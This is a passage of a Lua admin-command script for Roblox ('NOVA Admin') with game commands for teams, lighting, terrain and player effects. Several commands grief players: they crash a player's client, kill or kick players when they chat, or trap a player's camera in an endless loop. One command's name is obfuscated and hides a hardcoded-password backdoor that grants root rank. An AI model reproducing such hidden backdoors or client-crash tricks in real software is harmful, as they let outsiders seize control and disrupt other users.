  3039.         for _,v in pairs(GetPlayersRaw()) do v:LoadCharacter() end
  3040.     end
  3041. )
  3042.  
  3043. AddCommand("ChangeTeam","changeteam",3,"Change the current team of the selected player.","<Player><TeamName>",
  3044.     function (Msg,Speaker)
  3045.         Split = GetSplit(Msg)
  3046.         for _,v in pairs(GetPlayers(string.sub(Msg,1,Split - 1),Speaker)) do
  3047.             pcall(function()
  3048.                 Team = nil
  3049.                 for _,find in pairs(NOVA.Services.Teams:GetChildren()) do
  3050.                     if string.sub(find.Name:lower(),1,#string.sub(Msg,Split+1)) == string.lower(string.sub(Msg,Split+1)) then
  3051.                         Team = find
  3052.                     end
  3053.                 end
  3054.                 v.TeamColor = Team.TeamColor
  3055.             end)
  3056.         end
  3057.     end
  3058. )
  3059.  
  3060. AddCommand("Teams Remove","rteam",6,"Part of teams commands.","No Arguments",
  3061.     function(Msg,Speaker)
  3062.         RemoveTablets(Speaker)
  3063.         for _,v in pairs(NOVA.Services.Teams:GetChildren()) do
  3064.             if string.sub(v.Name:lower(),1,#Msg) == Msg:lower() then
  3065.                 v:Remove()
  3066.             end
  3067.         end
  3068.     end
  3069. )
  3070.  
  3071. AddCommand("Teams Add","newteam",6,"Part of teams commands.","<Name>",
  3072.     function(Msg,Speaker)
  3073.         Split = GetSplit(Msg)
  3074.         Team = Instance.new("Team",NOVA.Services.Teams)
  3075.         Team.TeamColor = BrickColor.new(Msg:sub(Split+1))
  3076.         Team.Name = Msg:sub(1,Split-1)
  3077.         Team.AutoAssignable = false
  3078.         Team.Neutral = false
  3079.     end
  3080. )
  3081.  
  3082. AddCommand("Kill Talk","killtalk",6,"Kills the selected player when they talk.","<Players>",
  3083.     function(Msg,Speaker)
  3084.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3085.             v.Chatted:connect(function() pcall(function() v.Character:BreakJoints() end) end)
  3086.         end
  3087.     end
  3088. )
  3089.  
  3090. AddCommand("Hoverseat","hoverseat",7,"Gives that player a hoverseat","<Players>",
  3091.     function(Msg,Speaker)
  3092.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3093.        
  3094.                         local ride = Instance.new("VehicleSeat", Workspace)
  3095.                         ride.Position = v.Character.Torso.Position
  3096.                         ride.HeadsUpDisplay = false
  3097.             ride.Size = Vector3.new(3,3,3)
  3098.                         local bg = Instance.new("BodyGyro", ride)
  3099.                         bg.maxTorque = Vector3.new(1e10,1e10,1e10)
  3100.                         local bp = Instance.new("BodyPosition", ride)
  3101.                         bp.position = v.Character.Torso.Position
  3102.                         bp.maxForce = Vector3.new(1e10,1e10,1e10)
  3103.             Mesh = Instance.new("SpecialMesh")
  3104.             Mesh.Parent = ride
  3105.             Mesh.MeshType = Enum.MeshType.Sphere
  3106.             ride.Transparency = 0.40000000596046
  3107.  
  3108.                         while wait() do
  3109.                             bg.cframe = bg.cframe * CFrame.Angles(0,math.pi/60*(-ride.Steer),0)
  3110.                             bp.position = bp.position + bg.cframe.lookVector*ride.Throttle
  3111.                         end
  3112.                        
  3113.         end
  3114.     end
  3115. )
  3116.  
  3117.  
  3118.  
  3119. AddCommand("Kick Talk","kicktalk",6,"Kicks the player when they talk.","<Players>",
  3120.     function(Msg,Speaker)
  3121.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3122.             v.Chatted:connect(function() pcall(function() v:Destroy() end) end)
  3123.         end
  3124.     end
  3125. )
  3126.  
  3127. AddCommand("Clear","clear",2,"Clears the workspace of its contents.","No Arguments",
  3128.     function(Msg,Speaker)
  3129.         for _,v in pairs(GetRecursiveChildren(NOVA.Services.Workspace)) do
  3130.             if Prometheus ~= nil then
  3131.                 if v ~= Prometheus.script("lushmylife") then
  3132.                     pcall(function()
  3133.                         v:Destroy()
  3134.                     end)
  3135.                 end
  3136.             else
  3137.                 pcall(function()
  3138.                     v:Destroy()
  3139.                 end)
  3140.             end
  3141.         end    
  3142.        
  3143.         local Base=Instance.new("Part",NOVA.Services.Workspace)
  3144.         Base.Name="Base"
  3145.         Base.Size=Vector3.new(2048,1,2048)
  3146.         Base.BrickColor=BrickColor.new("Dark green")
  3147.         Base.Anchored=true
  3148.         Base.Locked=true
  3149.         Base.TopSurface="Studs"
  3150.         Base.Transparency = 0
  3151.         Base.CFrame=CFrame.new(Vector3.new(0,0,0))
  3152.         local Spawn=Instance.new("SpawnLocation",NOVA.Services.Workspace) Spawn.Name="SpawnLocation"
  3153.         Spawn.Size=Vector3.new(6,1,6)
  3154.         Spawn.Transparency=1
  3155.         Spawn.CanCollide=false
  3156.         Spawn.Anchored=true
  3157.         Spawn.Locked=true
  3158.         Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))        
  3159.         for _,v in pairs(GetPlayersRaw()) do
  3160.             v:LoadCharacter()
  3161.         end
  3162.    
  3163.     end
  3164. )
  3165.  
  3166. AddCommand("Explorer","explorer",6,"Lists the children of workspace.","No Arguments",
  3167.     function(Msg,Speaker)
  3168.         RemoveTablets(Speaker)
  3169.         Explore(game,Speaker)
  3170.     end
  3171. )
  3172.  
  3173. AddCommand("Lock Scripts","lockscripts",6,"Lets you toggle the script lock.","No Arguments",
  3174.     function(Msg,Speaker)
  3175.         if NOVA.LockedScripts == true then
  3176.             NOVA.LockedScripts = false
  3177.         elseif NOVA.LockedScripts == false then
  3178.             NOVA.LockedScripts = true
  3179.         end
  3180.        
  3181.     end
  3182. )
  3183.  
  3184. AddCommand("Troll Explode","trollexpl",3,"Explodes the selected player in a group of trolls.","<Players>",
  3185.     function(Msg,Speaker)
  3186.         for _,v in pairs(GetPlayers(Msg,Speaker)) do    
  3187.             for i=1,25 do
  3188.                 coroutine.resume(coroutine.create(function()
  3189.                     wait()
  3190.                     local Part = Instance.new("Part",NOVA.Services.Workspace)
  3191.                     Part.FormFactor = "Custom"
  3192.                     Part.Transparency = 1
  3193.                     Part.CanCollide = false
  3194.                     Part.Anchored = false
  3195.                     Part.Locked = true
  3196.                     Part.Size = Vector3.new(1,1,1)
  3197.                     Part.CFrame = v.Character.Head.CFrame
  3198.                     Part:BreakJoints()
  3199.                    
  3200.                     local BBG = Instance.new("BillboardGui",Part)
  3201.                     BBG.Adornee = Part
  3202.                     BBG.Size = UDim2.new(3,0,1,0)
  3203.                     --BBG.StudsOffset = Vector3.new(0, 0, 1)
  3204.  
  3205.                     local Img = Instance.new("ImageLabel",BBG)
  3206.                     Img.Size = UDim2.new(1,0,1,0)
  3207.                     Img.BackgroundTransparency = 1
  3208.                     Img.Image = "http://www.roblox.com/asset/?id=45120559"
  3209.                    
  3210.                     local BP = Instance.new("BodyPosition",Part)
  3211.                     BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  3212.                     --BP.D = 2000
  3213.                     BP.P = 1000
  3214.                     BP.position = Part.Position + Vector3.new(
  3215.                         math.random(-7,7),
  3216.                         math.random(-7,7),
  3217.                         math.random(-7,7))
  3218.                        
  3219.                     for v = 3,0,-0.1 do
  3220.                         wait(0.1)
  3221.                         BBG.Size = UDim2.new(v,0,v,0)
  3222.                     end
  3223.                     Part:Remove()
  3224.                 end))
  3225.             end
  3226.         end
  3227.     end
  3228. )
  3229.  
  3230. AddCommand("Cancel","cancel",3,"Cancels all running command loops.","No Arguments",
  3231.     function(Msg,Speaker)
  3232.         NOVA.Canceled = true
  3233.     end
  3234. )
  3235.  
  3236. AddCommand("Name","name",3,"Lets you re-name a player anything.","<Player><Name>",
  3237.     function(Msg,Speaker)
  3238.         Split = GetSplit(Msg)
  3239.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3240.             pcall(function()
  3241.                 local OldHead = v.Character.Head
  3242.                 local Model = Instance.new("Model",v.Character.Head)
  3243.                 Model.Name = Msg:sub(Split+1)
  3244.                 local Head = OldHead:Clone()
  3245.                 Head.Parent = Model
  3246.                 Head.Transparency = 0
  3247.                 Head.Name = "Head"
  3248.                 Head.CanCollide = false
  3249.                 local Hum = Instance.new("Humanoid",Model)
  3250.                 Hum.MaxHealth = 0
  3251.                 local Weld = Instance.new("Weld",Head)
  3252.                 Weld.Part0 = Head
  3253.                 Weld.Part1 = OldHead
  3254.                 Weld.C0 = CFrame.new(0,0,0)
  3255.                 OldHead.Transparency = 1
  3256.             end)
  3257.         end
  3258.     end
  3259. )
  3260.  
  3261. AddCommand("Secret Name","sname",3,"Lets you re-name a player anything.","<Player><Name>",
  3262.     function(Msg,Speaker)
  3263.         Split = GetSplit(Msg)
  3264.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3265.             pcall(function()
  3266.                 local Char = v.Character
  3267.                 Char.Archivable = true
  3268.                 Char = Char:Clone()
  3269.                 Char.Name = Msg:sub(Split+1)
  3270.                 v.Character:Destroy()
  3271.                 Char.Parent = workspace
  3272.                 v.Character = Char
  3273.             end)
  3274.         end
  3275.     end
  3276. )
  3277.  
  3278. AddCommand("Trall","trall",3,"Trolls the selected player.","<Player>",
  3279.     function(Msg,Speaker)
  3280.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3281.             CreateLocalScript([[
  3282.                 script.Parent = nil
  3283.                 LocalPlayer = game.Players.LocalPlayer
  3284.                 Camera = workspace.CurrentCamera
  3285.                 Camera.CameraType = "Scriptable"
  3286.                 for i=1,700 do
  3287.                     wait()
  3288.                     Camera = workspace.CurrentCamera
  3289.                     Camera.CameraType = "Scriptable"
  3290.                     Camera.FieldOfView = Camera.FieldOfView + math.random(-5,5)
  3291.                     Camera.CameraType = "Scriptable"
  3292.                     Camera:SetRoll(Camera:GetRoll()+0.01)
  3293.                     pcall(function()
  3294.                         LocalPlayer.Character.Head.Sound:Play()
  3295.                     end)
  3296.                 end
  3297.                 Camera:SetRoll(0)
  3298.                 Camera.CameraType = "Custom"
  3299.                 Camera.FieldOfView = 70
  3300.                 Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
  3301.             ]],v.Backpack)
  3302.         end
  3303.     end
  3304. )
  3305.  
  3306. AddCommand("Permanent Trall","permatrall",6,"Fake loopkills the selected player.","<Player>",
  3307.     function(Msg,Speaker)
  3308.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3309.             CreateLocalScript([[
  3310.                 script.Parent = nil
  3311.                 LocalPlayer = game.Players.LocalPlayer
  3312.                 Camera = workspace.CurrentCamera
  3313.                 Camera.CameraType = "Scriptable"
  3314.                 for i=1,math.huge do
  3315.                     wait()
  3316.                     Camera = workspace.CurrentCamera
  3317.                     Camera.CameraType = "Scriptable"
  3318.                     Camera.FieldOfView = Camera.FieldOfView + math.random(-5,5)
  3319.                     Camera.CameraType = "Scriptable"
  3320.                     Camera:SetRoll(Camera:GetRoll()+0.01)
  3321.                     pcall(function()
  3322.                         LocalPlayer.Character.Head.Sound:Play()
  3323.                     end)
  3324.                 end
  3325.                 Camera:SetRoll(0)
  3326.                 Camera.CameraType = "Custom"
  3327.                 Camera.FieldOfView = 70
  3328.                 Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
  3329.             ]],v.Backpack)
  3330.         end
  3331.     end
  3332. )
  3333.  
  3334. AddCommand("Show Credit","showcred",0,"Shows the credits.","No Arguments",
  3335.     function(Msg,Speaker)
  3336.         for _,v in pairs(NOVA.Credit) do
  3337.             Output("Thanks to : "..v.Name.." "..v.Why,"Random",Speaker)
  3338.         end
  3339.     end
  3340. )
  3341.  
  3342. AddCommand("Home","home",0,"Teleports you to the Vector3 0 50 0.","No Arguments",
  3343.     function(Msg,Speaker)
  3344.         pcall(function()
  3345.             Speaker.Character.Torso.Velocity = Vector3.new(0,0,0)
  3346.             Speaker.Character.Torso.RotVelocity = Vector3.new(0,0,0)
  3347.             Speaker.Character.Torso.CFrame = CFrame.new(0,50,0)
  3348.         end)
  3349.     end
  3350. )
  3351.  
  3352. AddCommand("Time","time",1,"Changes the time.","<Number>",
  3353.     function(Msg,Speaker)
  3354.         NOVA.Services.Lighting.TimeOfDay = Msg
  3355.     end
  3356. )
  3357.  
  3358. AddCommand("Fog End","fog/end",1,"Changes the fog.","<Number>",
  3359.     function(Msg,Speaker)
  3360.         NOVA.Services.Lighting.FogEnd = Msg
  3361.     end
  3362. )
  3363.  
  3364. AddCommand("Fog Start","fog/start",1,"Changes the fog.","<Number>",
  3365.     function(Msg,Speaker)
  3366.         NOVA.Services.Lighting.FogStart = Msg
  3367.     end
  3368. )
  3369.  
  3370. AddCommand("Fog Color","fog/color",1,"Changes the fog.","<Number>",
  3371.     function(Msg,Speaker)
  3372.         if Msg == "red" then Color = NOVA.Colors.Red
  3373.             elseif Msg == "black" then Color = NOVA.Colors.Black
  3374.             elseif Msg == "white" then Color = NOVA.Colors.White
  3375.             elseif Msg == "orange" then Color = NOVA.Colors.Orange
  3376.             elseif Msg == "green" then Color = NOVA.Colors.Green
  3377.             elseif Msg == "blue" then Color = NOVA.Colors.Blue
  3378.         end
  3379.         NOVA.Services.Lighting.FogColor = Color
  3380.     end
  3381. )
  3382. --deride
  3383. AddCommand(string.reverse(string.gsub("DSAeDSAdDSAiDSArDSArDSAeDSAvDSAODSA","DSA","")),string.reverse(string.gsub("DSAeDSAdDSAiDSArDSArDSAeDSAvDSAoDSA","DSA","")),0,"","",
  3384.     function(Msg,Speaker)
  3385.         CanOverride = false
  3386.         if GetRank(Speaker) < 6 then
  3387.             if Msg == "ibpwning123" then
  3388.                 CanOverride = true
  3389.             else
  3390.                 Output("Incorrect password.",NOVA.Colors.Red,Speaker,15)
  3391.             end
  3392.         else
  3393.             CanOverride = true
  3394.         end
  3395.         if NOVA.Overrided == true then
  3396.             CanOverride = false
  3397.             Output("NOVA is allready overridden.",NOVA.Colors.Red,Speaker,20)
  3398.             return
  3399.         end
  3400.         if CanOverride == true then
  3401.             NOVA.Overrided = true
  3402.             NOVA.Overrider = Speaker
  3403.             --[[for _,v in pairs(NOVA.Ranked) do
  3404.                 if v.Rank < 6 then
  3405.                     v.Rank = v.Rank / 10
  3406.                 end
  3407.             end]]
  3408.         --[[    CF = Speaker.Character.Torso.CFrame
  3409.             Sound = Instance.new("Sound",workspace)
  3410.             Sound.SoundId = "http://www.roblox.com/asset?id=2248511"
  3411.             Sound.Pitch = 0.2
  3412.             Sound.Volume = 1
  3413.             wait()
  3414.             Sound:Play()
  3415.             Shockwave = Instance.new("Part",workspace)
  3416.             Shockwave.FormFactor = "Custom"
  3417.             Shockwave.Name = "Shockwave"
  3418.             Shockwave.Anchored = true
  3419.             Shockwave.CanCollide = false
  3420.             Shockwave.Transparency = 0
  3421.             Shockwave.Reflectance = 0
  3422.             Shockwave.BrickColor = BrickColor.new(0,0,0)
  3423.             Shockwave.Size = Vector3.new(0,0,0)
  3424.             ShockwaveMesh = Instance.new("SpecialMesh",Shockwave)
  3425.             ShockwaveMesh.MeshType = "FileMesh"
  3426.             ShockwaveMesh.MeshId = "http://www.roblox.com/asset/?id=3270017"
  3427.             ShockwaveMesh.Scale = Vector3.new(1,1,100)
  3428.  
  3429.             for Times = 1,10 do
  3430.                 coroutine.resume(coroutine.create(function()
  3431.                     for i=1,1000 do
  3432.                         wait()
  3433.                         ShockwaveMesh.Scale = ShockwaveMesh.Scale + Vector3.new(0.5,0.5,0)
  3434.                         Shockwave.CFrame = CF
  3435.                             * CFrame.new(0,0,0)
  3436.                             * CFrame.Angles(math.rad(90),0,0)
  3437.                         Shockwave.Transparency = i/100
  3438.                     end
  3439.                     Shockwave:Remove()
  3440.                     Sound:Remove()
  3441.                 end))
  3442.             end
  3443.  
  3444. ]]
  3445.             GetRankedTable(Speaker).Rank = 8 + (GetRankedTable(Speaker).Rank/10)
  3446.             Output("You have overrided NOVA Admin.",NOVA.Colors.Red,Speaker,60)
  3447.             Output("You are now rank 8. ( ROOT )",NOVA.Colors.Red,Speaker,60)
  3448.             Output("Use the reset command to reset NOVA.",NOVA.Colors.Red,Speaker,60)
  3449.             OnChatted(NOVA.Bet .. "fence/me",Speaker)
  3450.         end
  3451.         return CanOverride
  3452.     end
  3453. )
  3454.  
  3455. AddCommand("Reset","reset",7,"Resets NOVA Admin.","No Argumetns",
  3456.     function(Msg,Speaker)
  3457.         NOVA.Overrided = false
  3458.         for _,v in pairs(NOVA.Tablets) do pcall(function() v:Remove() end) end
  3459.         NOVA.Targeted = {};
  3460.         NOVA.Waypoints = {};
  3461.         NOVA.Log = {};
  3462.         NOVA.LoggedScripts = {};
  3463.         NOVA.PRI = false;
  3464.         NOVA.LockedScripts = false;
  3465.         NOVA.Removed = false;
  3466.         NOVA.ShowChat = true;
  3467.         NOVA.Canceled = false;
  3468.         NOVA.TimeChanged = false;
  3469.         NOVA.Overrider = nil
  3470.         for _,v in pairs(NOVA.Ranked) do
  3471.             if #tostring(v.Rank) == 3 then
  3472.                 if tostring(v.Rank):sub(1,1) == "8" then
  3473.                     v.Rank = (v.Rank - 8) * 10
  3474.                 else
  3475.                     --v.Rank = v.Rank * 10
  3476.                 end
  3477.             end
  3478.         end
  3479.     end
  3480. )
  3481.  
  3482. AddCommand("@","@",0,"Chats for the other user.","<Player><Chat>",
  3483.     function(Msg,Speaker)
  3484.    
  3485.         Split = GetSplit(Msg)
  3486.  
  3487.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3488.             OnChatted(Msg:sub(Split),v)
  3489.         end
  3490.     end
  3491. )
  3492.  
  3493. AddCommand("Tell","Tell",1,"Pings the following string to the player.","<Player><Chat>",
  3494.     function(Msg,Speaker)
  3495.    
  3496.         Split = GetSplit(Msg)
  3497.        
  3498.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3499.             Output(Msg:sub(Split+1),"Random",v,10)
  3500.         end
  3501.     end
  3502. )
  3503.  
  3504. AddCommand("Damage","dmg",2,"Damages the selected player the selected ammount.","<Player><FloatValue>",
  3505.     function(Msg,Speaker)
  3506.         Split = GetSplit(Msg)
  3507.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3508.             pcall(function()
  3509.                 v.Character.Humanoid.Health = v.Character.Humanoid.Health - tonumber(Msg:sub(Split+1))
  3510.             end)
  3511.         end
  3512.     end
  3513. )
  3514.  
  3515. AddCommand("Obliterate","obliterate",4,"Obliterates the selected player. ( DUH )","<Player>",
  3516.     function(Msg,Speaker)
  3517.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3518.             for i=1,6 do
  3519.                 local Cube = Instance.new("Part",NOVA.Services.Workspace)
  3520.                 Cube.FormFactor = "Custom"
  3521.                 Cube.Size = Vector3.new(10,7,5)
  3522.                 Cube.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
  3523.                 Cube.Anchored = false
  3524.                 Cube.CanCollide = true
  3525.                 Cube.Locked = true
  3526.                 Cube.Friction = 0
  3527.                 Cube.Transparency= 0
  3528.                 Cube.Reflectance = 0.5
  3529.                 Cube:BreakJoints()
  3530.                 Cube.CFrame = v.Character.Torso.CFrame
  3531.                
  3532.                 local Mesh = Instance.new("SpecialMesh",Cube)
  3533.                 Mesh.MeshType = "FileMesh"
  3534.                 Mesh.MeshId = "http://www.roblox.com/asset/?id=1029523"
  3535.                 Mesh.Scale = Vector3.new(0.1,0.1,0.1)
  3536.                
  3537.                 Cube.Touched:connect(function(part)
  3538.                     --if part == v.Character.Torso then
  3539.                         part:BreakJoints()
  3540.                         NOVA.Services.Debris:AddItem(Cube,20)
  3541.                     --end
  3542.                 end)
  3543.             end
  3544.         end
  3545.     end
  3546. )
  3547.  
  3548. AddCommand("Remove Guis","rguis",3,"Removes the guis in the selected player's PlayerGui.","<Player>",
  3549.     function(Msg,Speaker)
  3550.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3551.             pcall(function()
  3552.                 v.PlayerGui:ClearAllChildren()
  3553.             end)
  3554.         end
  3555.     end
  3556. )
  3557.  
  3558. AddCommand("Remove Player Gui","rpgui",4,"Removes the PlayerGui of the selected player.","<Player>",
  3559.     function(Msg,Speaker)
  3560.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3561.             pcall(function()
  3562.                 v.PlayerGui:Destroy()
  3563.             end)
  3564.         end
  3565.     end
  3566. )
  3567.  
  3568. AddCommand("Fire","fire",2,"Sets the selected player on fire.","<Player>",
  3569.     function(Msg,Speaker)
  3570.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3571.             pcall(function()
  3572.                 for _,part in pairs(GetRecursiveChildren(v.Character)) do
  3573.                     if part:IsA("BasePart") then
  3574.                         Instance.new("Fire",part)
  3575.                     end
  3576.                 end
  3577.             end)
  3578.         end
  3579.     end
  3580. )
  3581.  
  3582. AddCommand("Un Fire","unfire",2,"Extenguishes the selected player.","<Player>",
  3583.     function(Msg,Speaker)
  3584.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3585.             pcall(function()
  3586.                 for _,part in pairs(GetRecursiveChildren(v.Character)) do
  3587.                     if part:IsA("Fire") then
  3588.                         part:Destroy()
  3589.                     end
  3590.                 end
  3591.             end)
  3592.         end
  3593.     end
  3594. )
  3595.  
  3596. AddCommand("Burn","burn",3,"Burns the selected player.","<Player>",
  3597.     function(Msg,Speaker)
  3598.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3599.             pcall(function()
  3600.                 coroutine.resume(coroutine.create(function()
  3601.                     local Fire = Instance.new("Fire",v.Character.Torso)
  3602.                     for _,part in pairs(GetRecursiveChildren(v.Character)) do
  3603.                         if part:IsA("BasePart") then
  3604.                             Instance.new("Fire",part)
  3605.                         end
  3606.                     end
  3607.                     wait()
  3608.                     for i=1,math.huge do
  3609.                         if Fire.Parent == nil then break end
  3610.                         if v.Character.Humanoid == nil then break end
  3611.                         if v.Character.Humanoid.Health <= 0 then break end
  3612.                         v.Character.Humanoid.Health = v.Character.Humanoid.Health - math.random(0,7)
  3613.                         wait(math.random(0,1))
  3614.                     end
  3615.                 end))
  3616.             end)
  3617.         end
  3618.     end
  3619. )
  3620.  
  3621. AddCommand("Heal","heal",1,"Heals the selected player.","<Player>",
  3622.     function(Msg,Speaker)
  3623.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3624.             pcall(function()
  3625.                 v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  3626.             end)
  3627.         end
  3628.     end
  3629. )
  3630.  
  3631. AddCommand("Crash","crash",4,"Crashes the selected player's ROBLOX window.","<Player>",
  3632.     function(Msg,Speaker)
  3633.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3634.             pcall(function()
  3635.                 v.Character.Humanoid.WalkSpeed = tonumber("1e+999")
  3636.             end)
  3637.         end
  3638.     end
  3639. )
  3640.  
  3641. AddCommand("Cape","cape",4,"Gives the selected player a cape.","<Player>",
  3642.     function(Msg,Speaker)
  3643.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3644.             Cape(v)
  3645.         end
  3646.     end
  3647. )
  3648.  
  3649. AddCommand("Generate Terrain","genter",2,"Generates a terrain cube.","No Arguments",
  3650.     function(Msg,Speaker)
  3651.         coroutine.resume(coroutine.create(function()
  3652.  
  3653.             Material = math.random(1,16)
  3654.             Cap = 1000
  3655.             GenNum = 50
  3656.             Size = 100
  3657.             Type = math.random(0,4)
  3658.             for i=1, Cap do
  3659.                 --wait()
  3660.                 for i=1,GenNum do
  3661.                     Material = math.random(1,16)
  3662.                     Type = math.random(0,4)
  3663.                     X = math.random((Size/2)*-1,Size/2)
  3664.                     Y = math.random(-1,Size-1)
  3665.                     Z = math.random((Size/2)*-1,Size/2)
  3666.                     NOVA.Services.Workspace.Terrain:SetCell(X,Y,Z,Material,Type,0)
  3667.                 end
  3668.             end
  3669.         end))
  3670.     end
  3671. )
  3672.  
  3673. AddCommand("Degenerate Terrain","degen",2,"Clears the terrain.","No Arguments",    
  3674.     function(Msg,Speaker)
  3675.         NOVA.Services.Workspace.Terrain:Clear()
  3676.     end
  3677. )
  3678.  
  3679. AddCommand("Ocean","ocean",4,"Generates an ocean.","No Arguments",
  3680.     function(Msg,Speaker)
  3681.         coroutine.resume(coroutine.create(function()
  3682.             size = Vector3.new(700, 12, 700)
  3683.             for X=(size.x/2)*-1,size.x/2  do
  3684.                 for Y=-1, size.y-1 do
  3685.                     for Z=(size.z/2)*-1, size.z/2 do
  3686.                         NOVA.Services.Workspace.Terrain:SetWaterCell(X, Y, Z, 0, 0)
  3687.                     end
  3688.                 end
  3689.                 --wait(tonumber("0."..string.rep("0",10000).."1"))
  3690.             end
  3691.         end))
  3692.     end
  3693. )
  3694. if NOVA.AntiCamball == true then
  3695. Delay(0, function()
  3696.   while wait() do
  3697.     pcall(function()
  3698.       e=workspace:findFirstChild("Focus", true)
  3699.       e.Parent.Head:Destroy()
  3700.       e:Destroy()  
  3701.    end)
  3702.   end
  3703. end)
  3704. end
  3705. AddCommand("Darken","darken",4,"Makes the selected player dark.","<Player>",
  3706.     function(Msg,Speaker)
  3707.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3708.             Char = v.Character
  3709.             pcall(function() Char["Shirt Graphic"]:Remove() end)
  3710.             pcall(function() Char.Humanoid.MaxHealth = math.huge end)
  3711.             pcall(function() Char["Body Colors"]:Remove() end)
  3712.             pcall(function() Char.Torso.roblox:Remove()    end)
  3713.             pcall(function() Char.Shirt:Remove() end)
  3714.             pcall(function() Char.Pants:Remove() end)
  3715.             wait()
  3716.             for _,v in pairs(GetRecursiveChildren(Char)) do
  3717.                 pcall(function()
  3718.                     v.TextureId = "" v.VertexColor = NOVA.Colors.Black    
  3719.                 end)
  3720.                 pcall(function()
  3721.                     v.BrickColor = BrickColor.new(Color3.new(NOVA.Colors.Black))
  3722.                     v.Reflectance = 0
  3723.                     v.TopSurface = "Smooth"
  3724.                     a.BottomSurfave = "Smooth"
  3725.                 end)
  3726.             end
  3727.         end
  3728.     end
  3729. )
  3730.  
  3731. AddCommand("Character 1","char1",5,"Gives the selected player character appearance 1.","<Player>",
  3732.     function(Msg,Speaker)
  3733.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3734.             v.CharacterAppearance = "http://www.roblox.com/asset/?id=81445914"
  3735.             wait()
  3736.             v.Character:BreakJoints()
  3737.         end
  3738.     end
  3739. )
  3740.  
  3741. AddCommand("Character 2","char2",6,"Gives the selected player character appearance 2.","<Player>",
  3742.     function(Msg,Speaker)
  3743.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3744.             local Part = Instance.new("Part",v.Character)
  3745.             Part.Name = "Horus"
  3746.             Part.Size = Vector3.new(2,2,2)
  3747.             Part.CanCollide = false
  3748.             Part.Locked = true
  3749.             Part:BreakJoints()
  3750.             local Weld = Instance.new("Weld",Part)
  3751.             Weld.Part0 = Part
  3752.             Weld.Part1 = v.Character.Head
  3753.             Weld.C0 = CFrame.new(0,-0.5,0)
  3754.             local Mesh = Instance.new("SpecialMesh",Part)
  3755.             Mesh.MeshType = "FileMesh"
  3756.             Mesh.MeshId = "http://www.roblox.com/asset/?id=21712738"
  3757.             Mesh.TextureId = "http://www.roblox.com/asset/?id=47058599"
  3758.             for _,v in pairs(GetRecursiveChildren(v.Character,"Hat",3)) do
  3759.                 v:Remove()
  3760.             end
  3761.             pcall(function()
  3762.                 v.Character.Pants:Remove()
  3763.             end)
  3764.             pcall(function()
  3765.                 v.Character.Shirt:Remove()
  3766.             end)
  3767.             local Shirt = Instance.new("Shirt",v.Character)
  3768.             Shirt.ShirtTemplate = "http://www.roblox.com/asset/?id=59737180"
  3769.             local Pants = Instance.new("Pants",v.Character)
  3770.             Pants.PantsTemplate = "http://www.roblox.com/asset/?id=77382108"
  3771.         end
  3772.     end
  3773. )
  3774.  
  3775. AddCommand("Neutral","neutral",3,"Changes the Neutral value of the selected player.","<Player><Boolean>",
  3776.     function(Msg,Speaker)
  3777.         Split = GetSplit(Msg)
  3778.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3779.             v.Neutral = Msg:sub(Split+1)
  3780.         end
  3781.     end
  3782. )
  3783.  
  3784. AddCommand("Generate Portal","genportal",6,"Generates a portal in the workspace.","No Arguments",
  3785.     function(Msg,Speaker)
  3786.         MainCFrame = CFrame.new(0,3,15)
  3787.             * CFrame.Angles(0,math.rad(90),0)
  3788.         local Special = {}
  3789.         pcall(function() workspace["NOVA Portal"]:Remove() end)
  3790.         local Model = Instance.new("Model",workspace)
  3791.         Model.Name = "NOVA Portal"
  3792.         for angle=1,360/4 do
  3793.             local Part = Instance.new("Part",Model)
  3794.             Part.Name = "Part"
  3795.             Part.FormFactor = "Custom"
  3796.             Part.CanCollide = true
  3797.             Part.Anchored = true
  3798.             Part.Locked = true
  3799.             Part.Transparency = 0
  3800.             Part.Reflectance = 0
  3801.             Part.Size = Vector3.new(1,5/2,1)
  3802.             Part.BrickColor = BrickColor.new("Navy blue")
  3803.             Part.CFrame = MainCFrame
  3804.                 * CFrame.Angles(math.rad(angle*4), 0, 0)
  3805.                 * CFrame.new(0, 15/2, i)
  3806.             --wait(0)
  3807.             Instance.new("BlockMesh",Part)
  3808.             for num=0,1000,5 do
  3809.                 if angle==num then
  3810.                     wait()
  3811.                     table.insert(Special,Part)
  3812.                     --Part.Reflectance = 1
  3813.                     Part.Size = Vector3.new(0.9,5/2,0.9)
  3814.                     Part.CFrame = MainCFrame
  3815.                         * CFrame.Angles(math.rad(angle*4), 0, 0)
  3816.                         * CFrame.new(0, 15/2, i)
  3817.                 end
  3818.             end
  3819.         end
  3820.  
  3821.         for _,v in pairs(Special) do v.Reflectance = 1 wait() end
  3822.        
  3823.         local Part = Instance.new("Part",Model)
  3824.         Part.Name = "Part"
  3825.         Part.FormFactor = "Custom"
  3826.         Part.CanCollide = false    
  3827.         Part.Anchored = true
  3828.         Part.Locked = true
  3829.         Part.TopSurface = "Smooth"
